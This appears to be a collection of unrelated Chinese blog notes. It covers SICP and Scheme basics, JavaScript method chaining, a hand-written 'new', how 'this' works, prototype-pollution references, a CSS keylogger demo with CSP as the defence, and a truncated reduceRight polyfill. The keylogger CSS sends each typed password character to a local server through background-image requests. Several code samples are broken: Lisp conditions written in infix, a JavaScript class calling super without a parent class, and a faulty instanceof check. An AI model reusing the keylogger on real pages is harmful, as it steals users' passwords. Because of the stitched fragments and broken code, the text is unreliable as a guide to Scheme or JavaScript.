Lisp 语言具有的特性之一

计算过程的 Lisp 描述 （又称为过程） 本身又可以作为 Lisp 的数据来表示和操作。

程序设计语言的基本元素

1. 基本表达形式， 用于表示语言所关心的最简单个体

2. 组合的方法，通过它们可以从比较简单的东西发出

3. 抽象的方法 复合过程

表达式

Lisp 中使用的是前缀表达书

命名和环境

变量：通过名字去使用变量的方式

1

( define size 2 )

环境：我们一般将值与符号进行关联，然后再去使用这个变量。这就意味着解释器必须维护某种存储的能力，以便保持有关名字的 「名字-值」的对偶的轨迹，这种存储叫做环境。在一个计算过程中会包许多个不同的环境。

复合过程

• 数和算术运算是基本的数据和过程
• 组合式的嵌套提供了一种组织多个操作的方法
• 定义是一种受限的抽象手段，它为名字相应的值

1
2
3
4

(
  define square (x)
    (* x x)
)

应用序和正则序

正则序：完全展开后而归约。
应用序列： 解释器中的，先求值参数而后应用的方式。

条件表达式和谓词

(
define (abs x)
(cond ((x > 0) x)
((x = 0) 0)
((x < -) (-x))
)
)

练习

练习 1.2

1
2
3
4

(/ 
  (+ 5 4 (- 2 ( - 3 ( + 6 (/ 4 5) ))))
  (* 3 (- 6 2) (- 2 7))
)

练习 1.3

1
2
3
4
5
6
7
8

(
  define (max a b)
    (
      cond ((a > b) a)
            ((a = b) a)
            ((a < b) b)
    )
)

练习 1.5

牛顿法求平方根

练习 1.6

练习 1.7

练习 1.8

scheme 使用前缀表达式来写

When $a \ne 0$, there are two solutions to \(ax^2 + bx + c = 0\) and they are
$$x = {-b \pm \sqrt{b^2-4ac} \over 2a}.$$

使用 scheme 写一个递归

1
2
3
4
5
6
7

(define (fact n)
  (if (= n 1)
    1
    (* n (fact (- n 1)))
  )
)
(fact 3)

scheme 中的 cond

1
2
3
4
5
6

(define (testCond x)
  (cond
    ((<= x 0) (- 0 x))
    ((> x 1) x)
  )
)

scheme 中定义函数的两种形式

第一种

1
2
3
4
5
6
7
8

(define Hello
  (
    lambda (a b c)
      (+ a b c)
  )
)

(Hello 1 2 3)

第二种

1
2
3
4
5

(
  define 
    ( Hello a b c)
      (+ a b c)
)

参考

• 如何理解计算机中的谓词 Predicate

• 因为比较懒所以没有在本地搭建开发环境,直接使用的是 repl.it 这样一个 web scheme enviroment 

/**

• AMD 规范 Requirejs
• /
  // https://juejin.cn/post/6844903759009595405
  // 模块十日谈 http://huangxuan.me/js-module-7day/#/8

// IOC 控制反转 Inversion of control

class RTeam {
constructor(props) {
super(props)
this.name = ‘Rocket’
}

}

class Player {

constructor(props) {
super(props);
this.team = new Team()
}

info() {
console.log(this.team.name)
}
}

let ym = new Player()
ym.info()

// RequireJS/AMD 的模块加载器

var injector = {

}

// 责任链模式

// 链式调用

const A = function(value) {
this.value = value
}

A.prototype.add = function(val) {
this.value += val
return this
}

A.prototype.sub = function(val) {
this.value -= val
return this
}

A.prototype.multiply = function(val) {
this.value *= val
return this
}

A.prototype.divide = function(val) {
this.value /= val
return this
}

var calculator = new A(1)
// (1 + 2 - 3) * 5
calculator.add(2).sub(3).multiply(5)

class Tools {

constructor(val) {
this.value = val
}

add(val) {
this.value += val
return this
}

sub(val) {
this.value -= val
return this
}

multiply(val) {
this.value *= val
return this
}
}

var num = new Tools(2)
num.add(2).sub(1)

众所周知 JavaScript 是一门基于原型、函数先行的多范式语言，它已经由ECMA（欧洲电脑制造商协会）通过ECMAScript实现语言的标准化。

想要知道如何实现 new 关键字我们就得搞清楚 new 做了什么。

JavaScript 中的 new 做了什么 ?

按照 spec ,new 依次做了以下 4 件事情：

1. 创建一个对象 new Object
2. 链接该对象（即设置该对象的构造函数）到另一个对象 ；
3. 将步骤 1 新创建的对象作为 this 的上下文；
4. 如果构造函数没有返回对象则返回 this

最终实现代码

1
2
3
4
5
6

function objFactory() {
  var Constructor = [].shift.call(arguments)
  var obj = Object.create(Constructor.prototype)
  var ret = Constructor.apply(obj, arguments)
  return (typeof ret instanceof Object || ret === null) ? ret : obj
}

最近在 stackoverflow 看到了一个问题: this 是如何工作的。要想解释这个问题，需要对 JavaScript Exuction 和 JavaScript Scope 有足够的了解。

按照 JavaScript Specification

1. Initial global execution context

2. Entering eval code

3. Entering function code

4. Arrow function

Arrow functions don’t have their own this…. binding. Instead, those identifiers are resolved in the lexical scope like any other variable. That means that inside an arrow function, this…refer(s) to the values of this in the environment the arrow function is defined in.

How does the “this” keyword work?

参考

• JS模块加载器加载原理是怎么样的？

Flag: 使用 canvas 技术将其可视化出来

参考：

• 深入理解 JavaScript Prototype 污染攻击
• prototype-pollution-nsec18
• JavaScript 原型链污染
• 从一道 CTF 题看 Node.js 的 prototype pollution attack

CSS3 Selector

实现使用 CSS 记录用户信息主要使用了 CSS3 中的 selector。

键位匹配

浏览器自身默认不会将用户输入的值同步到 value 中, 但像一些框架会将用户输入值同步到 value 中。Demo Link

将值同步到 value 之后，我们可以使用 css 来做匹配，对应的键位发送到不同的链接。

1
2
3
4
5
6
7
8

/* 命中 0 时 请求对应的接口 */
input[type="password"][value$="0"] {
  background-image: url("http://localhost:3000/0"); 
}
/* 命中 1 时 请求对应的接口 */
input[type="password"][value$="1"] {
  background-image: url("http://localhost:3000/1"); 
}

防御措施

在知道可以使用 css 来记录按键之后我兴冲冲的找到对应的 github demo，按照文档所说打开 https://instagram.com，安装 Chrome Extension、输入密码但却然而却发现并没有记录到信息，出现了如下的错误信息：

在 antd-design-pro 示例登录页倒是可以。

这是因为 https://instagram.com 使用了 CSP (Content Security Policy)。 说白了就是为了页面安全而制定的一系列防护措施，通过CSP所约束的规则制定可信的内容来源（脚本、图片、iframe、fton、style 等可能的远程资源）。

引用

CSS Keylogger
Content Security Policy (CSP) 是什么？为什么它能抵御 XSS 攻击

reduecRight 的 Polyfill

1

var t = Object(this), len = t.length >>> 0, k = len - 1, value;